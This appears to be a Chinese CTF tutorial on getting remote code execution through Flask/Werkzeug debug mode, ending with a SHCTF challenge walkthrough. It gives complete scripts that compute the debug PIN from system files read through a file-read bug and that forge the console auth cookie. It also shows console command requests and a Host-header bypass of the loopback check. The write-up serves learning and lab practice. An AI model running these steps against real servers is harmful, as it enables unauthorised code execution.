Python debug pin码计算
需开启debug
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():return "Hello World"
app.run(debug=True)
/console路由填入上方控制台的 PIN 码即可执行 Python 命令
Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。
werkzeug 低版本使用 MD5,高版本使用 SHA1
werkzeug1.0.x 低版本
werkzeug2.1.x 高版本 一般是python3.8以上在用
pin码主要由六个参数构成
probably_public_bits:
- username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
- appname:
getattr(app, "__name__", app.__class__.__name__)
,固定值,默认是Flask
- modname:
getattr(app, "module", t.cast(object, app).class.module)
,获取固定值,默认是flask.app
- moddir:
getattr(mod, "__file__", None)
,即app.py
文件所在路径,一般可以通过查看debug报错信息获得
private_bits:
- uuid:
str(uuid.getnode())
,即电脑上的 MAC 地址,也可以通过读取/sys/class/net/eth0/address
获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39
\=>95529701177
- machine_id:
get_machine_id()
,首先读取/etc/machine-id
(docker不读它,即使有),如果有值则不读取/proc/sys/kernel/random/boot_id
,否则读取该文件。接着读取/proc/self/cgroup
,取第一行的最后一个斜杠/
后面的所有字符串,与上面读到的值拼接起来,最后得到machine_id
。
两个版本的pin码计算脚本
(werkzeug1.0.x)
import hashlib
from itertools import chainprobably_public_bits = ['root'#username,通过/etc/passwd'flask.app',#modname,默认值'Flask',# 默认值'/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]private_bits = ['25214234362297', # mac十进制值 /sys/class/net/ens0/address'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # 低版本直接/etc/machine-id
]# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
(werkzeug>\=2.0.x)
import hashlib
from itertools import chain# 可能是公开的信息部分
probably_public_bits = ['root', # /etc/passwd'flask.app', # 默认值'Flask', # 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,报错得到
]# 私有信息部分
private_bits = ['2485377568585', # /sys/class/net/eth0/address 十进制'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'# machine-id部分
]# 创建哈希对象
h = hashlib.sha1()# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)# 加盐处理
h.update(b'cookiesalt')# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)# 生成 pin 码
num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]# 格式化 pin 码
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
计算cookie
流程
当我们无法获取返回的cookie,也无法使用/console进入debug的控制台的时候就需要我们手算cookie了
起一个docker看一下发pin码然后执行命令的流程
坑点:大于**Werkzeug==3.0.3
版本仅支持回环地址127.0.0.1访问/console**(记住,后面要考)
我们install Werkzeug==3.0.1版本
###app.py
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():return "Hello World"@app.route("/read", methods=["GET"])
def read_file():file_path = request.args.get("path")try:with open(file_path, "r") as f:content = f.read()return contentexcept Exception :raise FileNotFoundErrorif __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True, use_reloader=False)###Dockerfile
# 使用 Python 3.8 作为基础镜像
FROM python:3.8# 设置工作目录
WORKDIR /app# 复制当前目录的内容到工作目录中
COPY . .# 安装 Flask
RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple flask Werkzeug==3.0.1# 暴露 Flask 运行的端口
EXPOSE 5000# 运行 Flask 应用
CMD ["python", "app.py"]
###docker-compose.yml
version: '3.8' # 使用的 docker-compose 文件版本services:flask-app: # 服务名称build: . # 使用当前目录下的 Dockerfile 构建镜像ports:- "5000:5000" # 映射端口environment:- FLASK_ENV=development # 设置 Flask 环境变量为开发模式
提交pin码时的请求
GET /console?__debugger__=yes&cmd=pinauth&pin=1&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1
可以看到这里和s有关
提交正确的pin码后
会返回
{"auth": true, "exhausted": false}
并设置cookie
Set-Cookie: __wzd2d764a6d4e16687fcf23=1728990230|dee0430f742b; HttpOnly; Path=/;
之后执行命令时需带着这个cookie才可执行
注意这里的请求多了frm即frame当前帧
GET /console?&__debugger__=yes&cmd=print(%27mixian%27)&frm=0&s=ZfYmlGiajkioMsAqVOFQ HTTP/1.1
总结一下就是Werkzeug会根据s创建cookie用于认证成功提交pin码,然后才可以执行带着frm和cookie的执行命令的请求
所以我们先看一下s怎么获取,访问console路由看源码就行,或者搞一个报错,源码里也有
然后是获取frm,报错后
如果这里没有的话frm就是0
先是get_pin_and_cookie_name函数这里看看cookie的名字
# This information is here to make it harder for an attacker to# guess the cookie name. They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [str(uuid.getnode()), get_machine_id()]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"
cookie_name直接提供6个参数跑出来就行了,没什么好说的
这个注释有点小丑了(bushi)
接下来看cookie的值,找到pin_auth函数
if auth:rv.set_cookie(self.pin_cookie_name,f"{int(time.time())}|{hash_pin(pin)}",httponly=True,samesite="Strict",secure=request.is_secure,
值为int(time.time())}|{hash_pin(pin)
然后是check_pin_trust函数
return (time.time() - PIN_TIME) < int(ts)
这里返回true才能完成认证
PIN_TIME是60*60*24*7
,ts是我们|前填入的值,要大于time.time()+606024*7
import hashlib
import time# A week
PIN_TIME = 60 * 60 * 24 * 7def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]print(f"{int(time.time()*2+60 * 60 * 24 * 7)}|{hash_pin('598-725-733')}")
验证
先拿六个参数
报错拿到moddir
读uuid,转十进制
然后跑脚本
import hashlib
from itertools import chain# 可能是公开的信息部分
probably_public_bits = ['root', # /etc/passwd'flask.app', # 默认值'Flask', # 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,报错得到
]# 私有信息部分
private_bits = ['90520745872463', # /sys/class/net/eth0/address 十进制'2cfa1ac3-65ab-40ca-a689-714b6a05061047c05f4928028e22cb883a4a0fd380fb692238ab88cbfbf116c0f55a4ef65fc3'# machine-id部分
]# 创建哈希对象
h = hashlib.sha1()# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)# 加盐处理
h.update(b'cookiesalt')# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print("cookie_name:"+cookie_name)# 生成 pin 码
num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]# 格式化 pin 码
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint("pin码:"+rv)
拿到
拿s
拿cookie的值
import hashlib
import time# A week
PIN_TIME = 60 * 60 * 24 * 7def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('352-819-671')}")
Werkzeug>3.0.3版本
高于3.0.3版本,仅支持回环地址或localhost
正常访问/console会返回400
Host改为回环地址或者localhost就可以访问了
正常执行命令
SHCTF[Week3] 顰
还是老样子拿参数
这里/proc/self/cgroup
为空那就不填它
得到:
cookie_name:__wzd215e2ddd208f26855a0e
pin码:510-466-626
cookie_name值为:1729699932|271328319d5c
s为H3MgUZaZR6tUl3oBAB3b
版本为3.0.4大于3.0.3只能回环地址访问
带上cookie用回环地址访问/console